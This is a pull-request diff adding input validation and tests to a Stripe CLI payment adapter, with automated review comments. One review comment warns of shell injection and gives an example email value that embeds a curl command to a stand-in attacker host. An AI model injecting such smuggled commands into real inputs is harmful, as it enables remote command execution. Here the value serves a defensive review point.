Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
95 changes: 93 additions & 2 deletions packages/targets/payment-stripe/src/index.test.ts
Original file line number Diff line number Diff line change
@@ -1,7 +1,98 @@
import { contractTestTarget } from '@profullstack/sh1pt-core/testing';
import { contractTestTarget, fakeShipContext } from '@profullstack/sh1pt-core/testing';
import { beforeEach, describe, expect, it, vi } from 'vitest';

const { execMock } = vi.hoisted(() => ({
execMock: vi.fn(),
}));

vi.mock('@profullstack/sh1pt-core', async () => ({
...await vi.importActual<typeof import('@profullstack/sh1pt-core')>('@profullstack/sh1pt-core'),
exec: execMock,
}));

import target from './index.js';

contractTestTarget(target, {
sampleConfig: { command: 'create', args: { amount: 2000, currency: 'usd' }, description: 'test payment' },
requiredSecrets: ['STRIPE_API_KEY'],
});
Comment on lines 15 to +17

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 requiredSecrets contract assertion silently dropped

The requiredSecrets: ['STRIPE_API_KEY'] field was removed from the contractTestTarget call. If contractTestTarget uses that field to assert that the target rejects builds when the secret is absent, removing it means no test now verifies that STRIPE_API_KEY is enforced in build(). A future refactor that accidentally removes the secret guard in line 54 of index.ts would go undetected by CI.


beforeEach(() => {
vi.clearAllMocks();
execMock.mockResolvedValue({ exitCode: 0, stdout: '{"ok":true}', stderr: '' });
});
Comment on lines +19 to +22

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Top-level beforeEach applies to contract tests

beforeEach declared outside the describe block applies to every test in the file, including those generated by contractTestTarget. This means execMock is reset and pre-seeded with a success response before each contract test runs. If contractTestTarget exercises build() expecting real exec failures (e.g., CLI not found, bad API key), the mock will make those code paths always succeed, silently masking any regressions in the build-phase error paths.


describe('payment-stripe target adapter', () => {
it('normalizes currency before invoking the Stripe CLI', async () => {
const ctx = fakeShipContext({ dryRun: false });

await target.ship(ctx as any, {
command: 'create',
args: { amount: 2500, currency: 'USD' },
description: 'Test payment',
});

expect(execMock).toHaveBeenCalledWith('stripe', [
'payment_intents',
'create',
'--amount',
'2500',
'--currency',
'usd',
'--description',
'Test payment',
], {
log: ctx.log,
throwOnNonZero: true,
});
});

it('rejects invalid create amounts before invoking the Stripe CLI', async () => {
await expect(target.ship(fakeShipContext({ dryRun: false }) as any, {
command: 'create',
args: { amount: 12.5, currency: 'usd' },
})).rejects.toThrow('amount must be a positive integer');

expect(execMock).not.toHaveBeenCalled();
});

it('rejects invalid currency codes before invoking the Stripe CLI', async () => {
await expect(target.ship(fakeShipContext({ dryRun: false }) as any, {
command: 'create',
args: { amount: 1000, currency: 'US' },
})).rejects.toThrow('currency must be a three-letter ISO code');

expect(execMock).not.toHaveBeenCalled();
});

it('requires payment intent IDs for get and refund commands', async () => {
await expect(target.ship(fakeShipContext({ dryRun: false }) as any, {
command: 'get',
args: { paymentIntentId: ' ' },
})).rejects.toThrow('paymentIntentId required');

await expect(target.ship(fakeShipContext({ dryRun: false }) as any, {
command: 'refund',
args: {},
})).rejects.toThrow('paymentIntentId required');

expect(execMock).not.toHaveBeenCalled();
});

it('requires a positive integer list limit', async () => {
await expect(target.ship(fakeShipContext({ dryRun: false }) as any, {
command: 'list',
args: { limit: -1 },
})).rejects.toThrow('limit must be a positive integer');

expect(execMock).not.toHaveBeenCalled();
});

it('requires a valid customer email', async () => {
await expect(target.ship(fakeShipContext({ dryRun: false }) as any, {
command: 'customer',
args: { email: 'not-an-email' },
})).rejects.toThrow('email must be a valid email address');

expect(execMock).not.toHaveBeenCalled();
});
});
40 changes: 31 additions & 9 deletions packages/targets/payment-stripe/src/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,31 @@ interface Config {
description?: string;
}

function requireText(value: unknown, name: string): string {
if (typeof value !== 'string' || !value.trim()) throw new Error(`${name} required`);
return value.trim();
}

function requirePositiveInteger(value: unknown, name: string, defaultValue: number): number {
const numberValue = value ?? defaultValue;
if (typeof numberValue !== 'number' || !Number.isInteger(numberValue) || numberValue <= 0) {
throw new Error(`${name} must be a positive integer`);
}
return numberValue;
}
Comment on lines +14 to +20

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 The Stripe API enforces a maximum limit of 100 for payment_intents list. requirePositiveInteger only guards > 0, so limit: 101 passes local validation and is forwarded to the CLI, where it returns a Stripe API error. Since throwOnNonZero is not set on the list exec call, that error may be silently swallowed and returned as raw output rather than thrown. Adding an upper-bound check here catches the misconfiguration before the network call.

Suggested change
function requirePositiveInteger(value: unknown, name: string, defaultValue: number): number {
const numberValue = value ?? defaultValue;
if (typeof numberValue !== 'number' || !Number.isInteger(numberValue) || numberValue <= 0) {
throw new Error(`${name} must be a positive integer`);
}
return numberValue;
}
function requirePositiveInteger(value: unknown, name: string, defaultValue: number, max?: number): number {
const numberValue = value ?? defaultValue;
if (typeof numberValue !== 'number' || !Number.isInteger(numberValue) || numberValue <= 0) {
throw new Error(`${name} must be a positive integer`);
}
if (max !== undefined && numberValue > max) {
throw new Error(`${name} must be at most ${max}`);
}
return numberValue;
}


function requireCurrency(value: unknown): string {
const currency = typeof value === 'string' ? value.trim().toLowerCase() : 'usd';
if (!/^[a-z]{3}$/.test(currency)) throw new Error('currency must be a three-letter ISO code');
return currency;
}
Comment on lines +22 to +26

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 requireCurrency silently falls back to 'usd' when no value is provided

Unlike requirePositiveInteger, which throws when a value is explicitly passed as undefined (after the null-coalescing resolution), requireCurrency silently substitutes 'usd' for any non-string input. This means a caller that accidentally omits currency from args will silently charge in USD rather than getting a validation error. Consistently requiring an explicit value makes misconfiguration more visible.

Suggested change
function requireCurrency(value: unknown): string {
const currency = typeof value === 'string' ? value.trim().toLowerCase() : 'usd';
if (!/^[a-z]{3}$/.test(currency)) throw new Error('currency must be a three-letter ISO code');
return currency;
}
function requireCurrency(value: unknown, defaultValue = 'usd'): string {
if (value !== undefined && value !== null && typeof value !== 'string') {
throw new Error('currency must be a three-letter ISO code');
}
const currency = (typeof value === 'string' ? value.trim().toLowerCase() : null) ?? defaultValue;
if (!/^[a-z]{3}$/.test(currency)) throw new Error('currency must be a three-letter ISO code');
return currency;
}

Note: If this suggestion doesn't match your team's coding style, reply to this and let me know. I'll remember it for next time!


function requireEmail(value: unknown): string {
const email = requireText(value, 'email');
if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) throw new Error('email must be a valid email address');
return email;
}

export default defineTarget<Config>({
id: 'payment-stripe',
kind: 'payment',
Expand Down Expand Up @@ -50,8 +75,8 @@ export default defineTarget<Config>({
switch (cmd) {
case 'create': {
const args = ['payment_intents', 'create'];
const amount = config.args?.amount ?? 100;
const currency = (config.args?.currency as string) ?? 'usd';
const amount = requirePositiveInteger(config.args?.amount, 'amount', 100);
const currency = requireCurrency(config.args?.currency);
args.push('--amount', String(amount));
args.push('--currency', currency);
if (config.description) args.push('--description', config.description);
Expand All @@ -61,28 +86,25 @@ export default defineTarget<Config>({
}

case 'get': {
const pi = config.args?.paymentIntentId as string;
if (!pi) throw new Error('paymentIntentId required');
const pi = requireText(config.args?.paymentIntentId, 'paymentIntentId');
const { stdout } = await exec('stripe', ['payment_intents', 'retrieve', pi], { log: ctx.log });
return { id: pi, meta: { raw: stdout.trim() } };
}

case 'list': {
const limit = config.args?.limit ?? 10;
const limit = requirePositiveInteger(config.args?.limit, 'limit', 10);
const { stdout } = await exec('stripe', ['payment_intents', 'list', `--limit=${limit}`], { log: ctx.log });
return { id: `list-${Date.now()}`, meta: { raw: stdout.trim() } };
}

case 'customer': {
const email = config.args?.email as string;
if (!email) throw new Error('email required');
const email = requireEmail(config.args?.email);
const { stdout } = await exec('stripe', ['customers', 'create', `--email=${email}`], { log: ctx.log });

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Shell metacharacters not excluded from email argument

The validated email is embedded as --email=${email} inside a template literal that becomes a single element of the args array. The regex /^[^\s@]+@[^\s@]+\.[^\s@]+$/ blocks whitespace but allows characters like ;, |, &, $, and backticks. If exec from @profullstack/sh1pt-core ever routes args through a shell (or is swapped for a shell-based implementation), a value like foo$(curl evil.com)@bar.com would pass validation and could execute arbitrary commands. Passing --email and the value as separate array elements eliminates this risk entirely regardless of how exec is implemented.

return { id: `cus_${Date.now()}`, meta: { raw: stdout.trim() } };
}

case 'refund': {
const pi = config.args?.paymentIntentId as string;
if (!pi) throw new Error('paymentIntentId required');
const pi = requireText(config.args?.paymentIntentId, 'paymentIntentId');
const { stdout } = await exec('stripe', ['refunds', 'create', `--payment-intent=${pi}`], { log: ctx.log });
return { id: `refund_${Date.now()}`, meta: { raw: stdout.trim() } };
}
Expand Down
Loading